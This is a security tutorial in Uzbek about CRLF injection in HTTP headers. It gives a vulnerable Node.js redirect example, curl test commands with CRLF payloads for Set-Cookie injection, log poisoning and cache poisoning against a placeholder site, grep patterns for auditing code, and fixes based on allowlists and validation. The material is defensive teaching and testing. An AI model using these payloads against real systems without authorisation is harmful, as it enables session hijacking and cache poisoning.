⏎
CRLF Injection
Yangi sarlavha kiritish
1
Maqsad
javobga yangi sarlavha kiritishFoydalanuvchi matni HTTP sarlavhasiga qo'yilsa va \r\n
tozalanmasa — hujumchi yangi sarlavha qo'shadi: Set-Cookie,
Location, X-Forwarded-For. Bu orqali cache poisoning,
session o'g'irlash yoki login sahifasini almashtirish mumkin.
2
Tushuntirish
// XAVFLI res.setHeader('Location', '/go?u=' + req.query.u); // u = /a%0d%0aSet-Cookie:%20admin=1 // natija HTTP javobi: // Location: /go?u=/a // Set-Cookie: admin=1 ← ← HUJUM // TO'G'RI — oq ro'yxat (eng yaxshi) if (!['/home','/about','/docs'].includes(req.query.u)) return fail(); res.setHeader('Location', req.query.u);
Node.js ogohlantirish
Node setHeader yangi qatorni
rad etadi (`ERR_INVALID_CHAR`) — lekin res.write,
res.end orqali yozilgan xom javobda ishlaydi.
Boshqa tillarda (Java, PHP, Python) esa to'g'ridan-to'g'ri zaif.
3
Qanday aniqlanadi
# 1) sarlavha qo'yish joylari grep -rnE "setHeader|appendHeader|res\.header|header\(|add_header|send_header" src/ | head # 2) foydalanuvchi qiymati sarlavhaga boradimi? grep -rnE "(setHeader|header|Location|Set-Cookie).*(req\.|params|query)" src/ | head
4
Buyruqlar
kodlash usullari# URL kodlash %0d%0a → CR LF %0a → LF %0d → CR %09 → TAB %250d%250a → double encode # 1) Location header curl -s -D- -o /dev/null "https://site.uz/go?u=/a%0d%0aSet-Cookie:%20admin=1" | grep -iE "location|set-cookie" # 2) oddiy qator (ba'zi parser'lar yetarli) curl -s -D- -o /dev/null "https://site.uz/go?u=/a%0aX-Injected:%20yes" | grep -i x-injected # 3) User-Agent va boshqa sarlavhalar (log poisoning) curl -s -X POST https://site.uz/api/contact -H "Content-Type: application/json" \ -H "User-Agent: Mozilla%0d%0aX-Injected:1" -d '{"message":"salom"}' -o /dev/null // keyin log'ni ko'ring — "X-Injected" qator sifatida chiqadimi? # 4) Cache poisoning curl -s -D- "https://site.uz/go?u=/x%0d%0aX-Forwarded-Host:%20zararli.uz" \ | grep -iE "x-forwarded|set-cookie|location" # 5) noma'lum sarlavha qo'shish for E in '%0d%0aX-Test:1' '%0a%0dX-Test:1' '%0d%0a%0d%0a'; do printf " %-22s → " "$E" curl -s -D- -o /dev/null "https://site.uz/go?u=$E" | grep -ci "x-test" done # 6) python kutubxonasiz python3 -c " import urllib.parse u = urllib.parse.quote('/x Set-Cookie: admin=1', safe='') print('https://site.uz/go?u=' + u)"
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
Javobda `Set-Cookie: admin=1` paydo bo'ldi | **CRLF — kritik** |
`X-Injected` sarlavhasi qo'shildi | **Sarlavha injection tasdiqlandi** |
Log'da `X-Injected` qator sifatida ko'rindi | **Log poisoning** |
Keshga kiruvchi javob o'zgardi | **Cache poisoning** |
`Location` ichida yangi qator bor | **Zaiflik bor** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`400 Bad Request` | **To'g'ri** — Node rad etdi |
`%0d%0a` oddiy matn sifatida qaytdi | **To'g'ri escape qilingan |
Xatolik tushuntirishsiz 400 | **Yaxshi** |
6
Zararni yopish
1. Oq ro'yxat — yagona to'g'ri yechim
const ALLOW = new Set(['/home','/about','/docs','/pricing']);
if (!ALLOW.has(req.query.u)) return res.status(400).end();
res.setHeader('Location', req.query.u);
2. Validatsiya (ro'yxat bo'lmasa ham)
const v = String(req.query.u || '');
if (/[\r\n\0]/.test(v)) return fail();
if (!/^\/[a-z0-9\/_-]*$/i.test(v)) return fail(); // faqat yo'l
3. Tuzilma bo'yicha
res.redirect(302, '/home'); // literal qiymat — xavfsiz
4. nginx himoyasi
proxy_hide_header X-Injected; // noma'lum sarlavhalarni yashirish underscores_in_headers off; // "X_Injected" o'zgarishini rad etish
5. Log xavfsizligi
app.use(morgan(':remote-addr - :method :url')); // header'ni chiqarma
// yoki CR/LF ni tozalang
const clean = s => String(s).replace(/[\r\n\0]/g, '');
7
Tekshirish ro'yxati
- `Location` uchun oq ro'yxat ishlatiladi
- `[\r\n\0]` tekshiriladi
- Noma'lum sarlavhalar proxy'da yashirilgan
- Log formatida foydalanuvchi header'lari yo'q
- `%0d%0aSet-Cookie` bilan test qilindi